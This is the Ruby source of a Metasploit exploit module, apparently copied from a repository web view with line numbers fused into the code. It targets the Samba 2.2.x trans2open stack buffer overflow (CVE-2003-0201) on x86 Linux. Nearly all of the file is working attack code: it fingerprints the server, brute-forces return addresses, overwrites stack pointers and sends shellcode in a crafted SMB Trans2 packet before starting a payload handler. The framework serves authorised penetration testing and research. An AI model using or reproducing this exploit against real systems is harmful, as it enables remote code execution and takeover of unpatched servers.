Path: blob/master/modules/exploits/linux/samba/trans2open.rb
21633 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'English'6class MetasploitModule < Msf::Exploit::Remote7Rank = GreatRanking89include Msf::Exploit::Remote::SMB::Client10include Msf::Exploit::Brute1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Samba trans2open Overflow (Linux x86)',17'Description' => %q{18This exploits the buffer overflow found in Samba versions192.2.0 to 2.2.8. This particular module is capable of20exploiting the flaw on x86 Linux systems that do not21have the noexec stack option set.2223NOTE: Some older versions of RedHat do not seem to be vulnerable24since they apparently do not allow anonymous access to IPC.25},26'Author' => [ 'hdm', 'jduck' ],27'License' => MSF_LICENSE,28'References' => [29[ 'CVE', '2003-0201' ],30[ 'OSVDB', '4469' ],31[ 'BID', '7294' ],32[ 'URL', 'https://seclists.org/bugtraq/2003/Apr/103' ]33],34'Privileged' => true,35'Notes' => {36'AKA' => ['ECHOWRECKER'],37'Stability' => [ CRASH_SERVICE_RESTARTS, ],38'Reliability' => [ REPEATABLE_SESSION, ],39'SideEffects' => [ IOC_IN_LOGS, ]40},41'Payload' => {42'Space' => 1024,43'BadChars' => "\x00",44'MinNops' => 512,45'StackAdjustment' => -350046},47'Platform' => 'linux',48'Targets' => [49# tested OK - jjd:50# RedHat 7.2 samba-2.2.1a-4 - 0xbffffafc51# RedHat 9.0 samba-2.2.7a-7.9.0 - 0xbfffddfc52[53'Samba 2.2.x - Bruteforce',54{55'PtrToNonZero' => 0xbffffff4, # near the bottom of the stack56'Offset' => 1055,57'Bruteforce' =>58{59'Start' => { 'Ret' => 0xbffffdfc },60'Stop' => { 'Ret' => 0xbfa00000 },61'Step' => 25662}63}64],65],66'DefaultTarget' => 0,67'DisclosureDate' => '2003-04-07'68)69)7071register_options(72[73Opt::RPORT(139)74]75)7677deregister_options('SMB::ProtocolVersion')78end7980def brute_exploit(addrs)81curr_ret = addrs['Ret']82begin83print_status('Trying return address 0x%.8x...' % curr_ret)8485vprint_status('Connect with SMB1 since it needs native_lm info')86connect(versions: [1])87smb_login8889if !@checked_peerlm90if smb_peer_lm !~ /samba/i91fail_with(Failure::NoTarget, "This target is not a Samba server (#{smb_peer_lm}")92end9394if smb_peer_lm =~ /Samba [34]\./i95fail_with(Failure::NoTarget, "This target is not a vulnerable Samba server (#{smb_peer_lm})")96end97end9899@checked_peerlm = true100101# This value *must* be 1988 to allow findrecv shellcode to work102# XXX: I'm not sure the above comment is true...103pattern = rand_text_english(1988)104105# See the OSX and Solaris versions of this module for additional106# information.107108# eip_off = 1071 - RH7.2 compiled with -ggdb instead of -O/-O2109# (rpmbuild -bp ; edited/reran config.status ; make)110eip_off = target['Offset']111ptr_to_non_zero = target['PtrToNonZero']112113# Stuff the shellcode into the request114pattern[0, payload.encoded.length] = payload.encoded115116# We want test true here, so we overwrite conn with a pointer117# to something non-zero.118#119# 222 if (IS_IPC(conn)) {120# 223 return(ERROR(ERRSRV,ERRaccess));121# 224 }122pattern[eip_off + 4, 4] = [ptr_to_non_zero - 0x30].pack('V')123124# We want to avoid crashing on the following two derefences.125#126# 116 int error_packet(char *inbuf,char *outbuf,int error_class,uint32 error_code,int line)127# 117 {128# 118 int outsize = set_message(outbuf,0,0,True);129# 119 int cmd = CVAL(inbuf,smb_com);130pattern[eip_off + 8, 4] = [ptr_to_non_zero - 0x08].pack('V')131pattern[eip_off + 12, 4] = [ptr_to_non_zero - 0x24].pack('V')132133# This stream covers the framepointer and the return address134# pattern[1199, 400] = [curr_ret].pack('N') * 100135pattern[eip_off, 4] = [curr_ret].pack('V')136137trans =138"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00" \139"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" \140"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00" \141"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01" \142"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \143"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90" +144pattern145146# puts "press any key"; $stdin.gets147148sock.put(trans)149handler150rescue ::EOFError => e151vprint_error(e.message)152rescue ::Rex::Proto::SMB::Exceptions::LoginError, ::Interrupt, ::RuntimeError153raise $ERROR_INFO154rescue StandardError => e155print_error("#{rhost} #{e}")156end157158handler159disconnect160end161end162163164